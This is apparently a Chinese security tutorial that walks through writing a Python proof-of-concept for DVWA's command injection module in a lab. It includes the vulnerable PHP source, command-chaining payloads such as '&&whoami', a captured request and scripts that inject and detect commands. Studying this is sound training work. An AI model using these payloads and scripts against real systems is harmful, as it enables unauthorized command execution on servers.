Poc从0到1

之前稍微学了点poc的注意事项,这里继续找dvwa的命令注入漏洞做一次快速入门编写Poc

1.1 实验环境

1
2
3
4
python3
lxml
requests
dvwa

2.1 漏洞分析

1
2
user: admin
password: password

将 DVWA Security 修改为low,本次使用 Command Injection(命令注入) 模块作为此次Poc验证漏洞点

2.2 如何触发漏洞?

Command Injection(命令注入) 该模块由于对输入的参数检查不严格导致任意命令执行

1
ping xxx.cn && whoami

图片

2.3 源码分析

Command Injection 模块源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}

?>

对源码进行代码审计很容易发现,输入$ip参数,会对pc所使用的系统进行一个判断,随后将$target进行拼接,但没进行任何的过滤吧,所以我们可以命令拼接来进行命令执行

1
shell_exec( 'ping  -c 4 ' . $target ) == shell_exec('ping  -c 4 sechelper.cn&&whoami' );

3.1 分析http数据包

使用火狐F12里进行查看http请求或者burp抓一个包看看都行

这里举个例子:

文件/vulnerabilities/exec/ 是接口地址,方法是 POST ,域名是 192.168.17.5 ,完整http请求包如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /vulnerabilities/exec/ HTTP/1.1
Host: 192.168.17.5
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 17
Origin: http://192.168.17.5
Connection: keep-alive
Referer: http://192.168.17.5/vulnerabilities/exec/
Cookie: PHPSESSID=07ffg4rcbufo5gekqch8v86226; security=low
Upgrade-Insecure-Requests: 1

ip=192.168.17.5&Submit=Submit

3.2 构建初版代码

漏洞最主要的信息已经知道了,开始编写代码

1
2
3
4
5
6
7
8
9
10
11
import requests

url = ''
data = {
    'ip':'xxx.cn'
}

#禁止跳转allow_redirects = False
res = requests.post(url=url,data=data,allow_redirects=False)
print("状态:{}".format(res.status_code))
print("302跳转地址:{}".format(res.next.url))

执行上面代码返回状态 302,不应该是200 吗?为什么返回 302 ?,观察控制台内打印出的跳转地址是登入界面,原来/vulnerabilities/exec/ 有授权验证,未授权会跳转到登入界面

3.3 请求授权接口

这里就不分析登入的过程了,登入信息保存在Cookie内,在请求头内加入 cookie 头

1
2
3
4
5
6
7
8
9
10
11
import requests

url = "http://192.168.17.5/vulnerabilities/exec/"
# Cookie: PHPSESSID=07ffg4rcbufo5gekqch8v86226; security=low
headers = {"cookie": "PHPSESSID=07ffg4rcbufo5gekqch8v86226; security=low"}
data = {"ip": "sechelper.cn&&whoami", "Submit": "Submit"}

# 禁止跳转 allow_redirects = False
response = requests.post(url, data, allow_redirects=False, headers=headers)
print("状态: {}".format(response.status_code))
print("结果: {}".format(response.text))

运行后就能够看出代码已经可以访问并利用 /vulnerabilities/exec/ 存在漏洞接口

3.4 快速验证漏洞两种方法

  • 特征匹配返回结果里的特征检测漏洞是否存在,匹配到 自定义 的字符则表示漏洞存在
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    # coding=utf-8

    import requests

    url = "http://192.168.17.5/vulnerabilities/exec/"
    # Cookie: PHPSESSID=07ffg4rcbufo5gekqch8v86226; security=low
    headers = {"cookie": "PHPSESSID=07ffg4rcbufo5gekqch8v86226; security=low"}
    data = {"ip": "192.168.17.5&&echo sechelper", "Submit": "Submit"}

    # 禁止跳转 allow_redirects = False
    response = requests.post(url, data, allow_redirects=False, headers=headers)

    if response.status_code == 200 and response.text.find("sechelper") != -1:
    print("[*] {} is weak".format(url))
    else:
    print("[x] {} is safe".format(url))
    print("Detection completed...")
  • 关键输出方式输出关键信息人工判断是否成功,一些复杂的漏洞利用需要使用这种方式
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    # coding=utf-8

    import requests

    url = "http://192.168.17.5/vulnerabilities/exec/"
    # Cookie: PHPSESSID=07ffg4rcbufo5gekqch8v86226; security=low
    headers = {"cookie": "PHPSESSID=3eabqr5lprmsir8n0211bolpn1; security=low"}
    data = {"ip": "192.168.111.129&&echo sechelper", "Submit": "Submit"}

    # 禁止跳转 allow_redirects = False
    response = requests.post(url, data, allow_redirects=False, headers=headers, timeout=5)

    if response.status_code == 200:
    from bs4 import BeautifulSoup
    soup = BeautifulSoup(response.text, 'lxml')

    # 在html找到第一个pre标签并返回,取出内容就是命令执行的结果
    pre = soup.find("pre")
    print("[*] response {}".format(pre.text))
    print("Detection completed...")

[TOC]